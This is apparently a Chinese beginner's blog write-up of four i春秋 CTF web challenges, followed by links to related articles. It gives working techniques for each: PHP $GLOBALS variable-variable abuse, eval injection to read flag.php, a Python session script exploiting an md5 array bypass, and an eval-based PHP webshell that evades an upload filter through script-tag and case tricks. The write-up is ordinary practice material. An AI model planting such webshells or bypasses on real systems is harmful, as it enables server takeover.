之前边看writeup,边做实验吧的web题,多多少少有些收获。但是知识点都已记不清。所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup)。

本人小白一枚,于是从低分题(简单题)边学边做

这篇随笔会写4道题

0x01:爆破-1

0x02:爆破-2

0x03:爆破-3

0x04:upload

0x01:爆破-1

打开链接,发现一段PHP代码

明确我们的flag在flag.php这个文件里面以注释或者不外显的形式存在。

hello这个变量是我们可控的,并且只能是全是字符,如果有其他则结束。

"$$a",这里有2个$符号,$a是我们传过去的变量,再加上个$号则又是个变量,于是这里就用到$GLOBALS这个全局变量来访问flag.php里面的变量

顺手贴一下php官方文档对该变量的定义

于是构造url

http://97104ae4f3174765a9e2f59dc028fc4553582fd8eeb54f81.game.ichunqiu.com/?hello=GLOBALS

回显:

发现flag(话说题目提示6位,GLOBALS不应该7位吗?)

 0x02:爆破-2

点进去也是一段PHP代码

var_dump函数是会将变量内容输出来并加上变量的类型

因为外围有个eval()函数,说明可以我们变量内容如果是一个语句的话是可以执行的

因此我们要控制hello里面的值,用它来读出flag.php文件

构造url:

http://62c123bf4f8a456a870a0b3a3841acde07a12dce89ee48a3.game.ichunqiu.com/?hello=file_get_contents('flag.php')

回显:

string(83),是回显了了个83长度的字符串,但是这里并不完全,查看源码:

发现flag

0x03:爆破-3

打开链接,又是一段php代码......

这段代码意思是创建一个会话内容,并存在120秒,初始值 whoami = 'ea'; num = 0

在num = 10的情况打印出我们的flag

那么num++的条件是参数value的前2个字符和whoami的内容匹配,然后whoami又会随机生成2个数并输出

后面一个substr(md5($value), 5, 4) == 0 这个好办,因为md5()这个函数参数如果为数组就会返回false,也就是满足 == 0

我们手动打入vlaue[]=ea

这里要写到python脚本,(其实120秒内10个也可以一个一个试出来)

import requests

url = 'http://2db8577cbeff436c92a5a69276b7f5aba502655072244904.game.ichunqiu.com/?value[]='
s = requests.Session()
payload = 'ea';
r = s.get(url+payload)
print r.text i = 0
for i in range(10):
payload = r.text[0:2]
r = s.get(url + payload)
print r.text

最先写的时候直接用r = requests.get(url + payload)来发送请求,但是它只有第一次回显了2个随机字母之后没有回显。

然后我稍加思考,难道是session有什么特别的回显方式吗?

最后是这样的,在我们一次session会话中,如果中途关闭这个页面,再打开不管你还没到120秒,都会重新创建新的会话,然后初始值为ea和num为0

所以在开头 s = requests.Seesion()里面一定要保证,这次payload传输是在一次会话(不关闭页面)进行的,通过对s进行get操作,就可以保证每次都是在s这个session中完成的。

最后我们在第10次显示后发现flag。

0x04:upload

打开链接,发现是个上传页面

丢个php的一句话木马上去

回显成功

访问我们的木马:

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/hack.php

回显404!!!说明路径不在该web的根目录下

那么上传目录在哪?我重新构造url

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/upload/hack.php

也是返回404,冷静下。。。。。

回到上传页面看看源码,发现上传的路径是

这时候重新构造url

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/u/hack.php

回显

估计<?php 是被过滤掉了,百度下php是否能用其他的标签

于是可以写成

<script language = "php"> eval($_POST['a']); </script>

访问没有回显,我们试着发点数据过去

但是没有回显,这个地方php也被过滤了,改成大写即可绕过

重写我们的木马

<script language = "phP"> @eval($_POST['a']); </script>

上传后,用菜刀一连,找到html目录下的flag.php

发现flag。

本人的一点小唠叨:18年初才开始接触信息安全,学了几个月膨胀了。然而6月1日的比赛被打自闭了后,和毕业后的学长交流,学长建议学习的时候多做做笔记,写写博客之类的。这也是我第一次写writeup,我想将我遇到的问题和解决办法详详细细的记录下来。写这4题的writeup的时候,我是前一天都看着别人writeup做好的,然而在今天写writeup的时候,还是在第三和第四题之间卡住了。第三题,我其实不会用python,在调用requests中遇到了些麻烦,但是我希望自己writeup尽可能详细,不要出现模棱两可的情况,于是终于完全弄懂这个session的问题。第四题我记得是用script language和大写绕过,但是在自己做的时候language少了一个字母,搞了半天。script language = "phP" 在phP上没加 " " 又搞了半天,还以为eval函数被过滤掉了,再者不知道为啥hackbar也有点问题。最后终于解决这些小毛病。其实自己看着别人writeup做一遍,和自己写writeup又是两种感觉,自己写writeup的时候发现自己还是有许许多多的细节毛病,这四道题真的都不难,看writeup写的时候,1个小时不到就做完了,但是自己写writeup,写了接近3小时了。通过这些写writeip真的又学习到了很多。以后我都会记录自己做的有意义的题的writeup。

i春秋CTF web题(1)的更多相关文章

  1. 实验吧web题:

    实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...

  2. 4.ctf实战题

    一道ctf实战题. 先亮出网址: http://fb2ad00f-0a28-4e38-8fff-849d7391e2d0.coding.io 打开连接,看到下面页面.Web题,首先就是扫描(御剑啊还有 ...

  3. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  4. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  5. 关于第一场HBCTF的Web题小分享,当作自身的笔记

    昨天晚上6点开始的HBCTF,虽然是针对小白的,但有些题目确实不简单. 昨天女朋友又让我帮她装DOTA2(女票是一个不怎么用电脑的),然后又有一个小白问我题目,我也很热情的告诉她了,哎,真耗不起. 言 ...

  6. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  7. i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

    0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...

  8. 实验吧CTF题库-WEB题(部分)

    看起来有点难 提交admin http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&actio ...

  9. CTF最简单的Web题

    http://www.shiyanbar.com/ctf/1810 天网管理系统天网你敢来挑战嘛格式:ctf{ }解题链接: http://ctf5.shiyanbar.com/10/web1 查看源 ...

随机推荐

  1. Hbuild开发App入门

    http://ask.dcloud.net.cn/article/89建议必看网站 http://www.html5plus.org/doc/h5p.html  API下载地址

  2. 用代码块在new对象时set属性

    看到这样一种用法,很方便 request.setRequestHead(new RequestHeadType() {{ setRequestor("Online"); setRe ...

  3. bzoj千题计划230:bzoj3205: [Apio2013]机器人

    http://www.lydsy.com/JudgeOnline/problem.php?id=3205 历时一天,老子终于把它A了 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 因为不懂spfa ...

  4. 蓝桥杯 算法提高 9-3摩尔斯电码 _c++ Map容器用法

    //****|*|*-**|*-**|--- #include <iostream> #include <map> #include <vector> #inclu ...

  5. Mysql select id 加上order by 后结果不一致

    测试数据将近280万 1.SELECT id FROM cbbd ORDER BY id LIMIT 900000,10 2.SELECT id FROM cbbd  LIMIT 900000,10 ...

  6. JavaScript编写风格指南 (一)

    //参考<编写可维护的Javascript>  一:缩进// 第一行的层级由4个空格组成,避免使用制表符tab进行缩进 //好的写法if (true) {    doSomething() ...

  7. requests下载文件并重新上传

    import re import requests from io import BytesIO from django.core.files.uploadedfile import InMemory ...

  8. ViewGroup.layout(int l, int t, int r, int b)四个输入参数的含义

    ViewGroup.layout(int l, int t, int r, int b)这个方法是确定View的大小和位置的,然后将其绘制出来,里面的四个参数分别是View的四个点的坐标,他的坐标不是 ...

  9. XSS小游戏通关Writeup

    源码下载:https://files.cnblogs.com/files/nul1/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip 我也没啥可 ...

  10. 网易与Google合作发布开源UI自动化测试方案 牛逼:Google 方面评价,这可能是目前世界上最好的 Android 游戏自动化测试方案。

    美西时间 3 月 19 日,在 GDC 开幕第一天的 Google 开发者专场,Google 发布了一款由网易研发的 UI 自动化测试方案:Airtest Project.Google 方面评价,这可 ...